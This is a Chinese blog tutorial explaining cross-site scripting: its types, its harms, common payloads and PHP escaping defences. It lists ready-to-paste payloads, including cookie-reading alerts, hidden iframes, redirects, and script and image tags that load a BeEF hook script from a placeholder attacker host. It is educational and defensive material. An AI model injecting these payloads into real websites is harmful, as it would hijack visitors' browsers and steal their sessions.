xss原理讲解

XSS

XSS 即(Cross Site Scripting)中文名称为:跨站脚本攻击。XSS的重点不在于跨站点,而在于脚本的执行。那么XSS的原理是:恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的。

XSS攻击的危害包括:

  1. 盗取各类用户账号,如机器登陆账号、用户网银账号、各类管理员账号。
  2. 控制企业数据,包括读取、篡改、添加、删除企业敏感数据。
  3. 盗窃企业重要的具有商业价值的资料。
  4. 非法转账。
  5. 强制发送电子邮件。
  6. 网站挂马。
  7. 控制受害者机器向其它网站发起攻击。

攻击的条件

实施XSS攻击需要具备两个条件:

一、需要向web页面注入恶意代码;

二、这些恶意代码能够被浏览器成功的执行。

XSS分类

反射型、存储型、及 DOM-based型

反射型

通过web站点漏洞,向客户端交付恶意脚本代码,实现对客户端 的攻击。
攻击目标: web客户端
(主要是利用客户端浏览器来运行恶意脚本)
主要脚本语言: javascript
条件:

    服务器对用户提交数据过滤不严格
    web站点能够返回用户输入的 数据(脚本)
    脚本在客户端执行恶意操作

 

反射型XSS又称非持久性跨站点脚本攻击,它是最常见的XSS攻击类型。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接

存储型

原理:存储型xss是hacker向服务器注入一段js代码,代码存储到服务器的数据库中,每当用户访问服务器当中带有js代码的数据时,服务器将响应用户,返回给用户一个带有js代码页面

存储型XSS又称为持久性跨站点脚本,它一般发生在XSS攻击向量(一般指XSS攻击代码)存储在网站数据库,当一个页面被用户打开的时候执行。每当用户打开浏览器,脚本执行。持久的XSS相比非持久XSS攻击危害更大,因为每当用打开页面,查看内容时脚本将自动执行

常用的JavaScript方法

    alert                     用于显示带有一条指定消息和一个确认按钮的警告框。

    window.location  用于获得当前页面地址的地址,并把浏览器重定向到新的页面。

    onload                一张页面或一幅图像完成加载。

    onsubmit            确认按钮被点击。

    onerror               在加载文档或图像时发生错误

常用的HTML标签

标签 应用

Iframe:iframe元素会创建包含另外一个文档的内联框架(行内框架)。

Textarea: textarea标签定义多行的文本输入控件。

Img: img元素向网页中嵌入一副图像。

Script: script标签用于定义客户端脚本,比如JavaScript。script元素既可以包含脚本语句,也可以通过src属性指向外部脚本文件。必需的type属性规定脚本的MIME类型。JavaScript的常见应用是图像操作、表单验证以及动态内容更新。

构造XSS脚本

    弹窗警告

    用此脚本实现弹窗提示,一般作为漏洞测试或者演示使用,类似sql注入中的单引号’,一旦此脚本能执行,也就意味着后端服务器没有对特殊字符做过滤,这样就可以证明这个页面位置存在XSS漏洞。

    <script>alert('xss')</script>

    <script>alert(document.cookie)</script>

    页面嵌套

    <iframe src=http://www.baidu.com width=300 height=300></iframe>

    <iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>

    页面重定向

    <script>window.location="http://www.baidu.com"</script>

    <script>location.href="http://www.baidu.com"</script>

    弹窗警告并重定向

    <script>alert("请移步至新网站");location.href="http://www.baidu.com"</script>

    <script>alert('xss');location.href="xxxxxxxx"</script>

    访问恶意代码

    <script src="http://www.baidu.com/xss.js"></script>

    <script src="http://BeEF_IP:3000/hook.js">

    巧用图片标签

    <img src="#"alert('xss')>

    <img src="javascript:alert('xss');">

    <img src="http://BeEF_IP:3000/hook.js"></img>

防范xss

1.利用 php htmlentities()函数对传入参数的非法的 HTML 代码包括单双引号等进行转义。但是,中文情况下, htmlentities() 却会转化所有的 html 代码,连同里面的它无法识别的中文字符也给转化了。

2.利用 php htmlspecialchars()函数对传入参数的非法的 HTML 代码包括单双引号等进行转义,需要注意的是第二个参数默认是 ENT_COMPAT,函数默认只是转化双引号("),不对单引号(')做转义。更多的时候要加上第二个参数,应该这样用 : htmlspecialchars($string,ENT_QUOTES)对单双引号都进行转义。如果需要不转化任何的引号第二个参数使用ENT_NOQUOTES。

3.通过正则表达式过滤传入参数的html标签来防范XSS攻击

  • 2
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值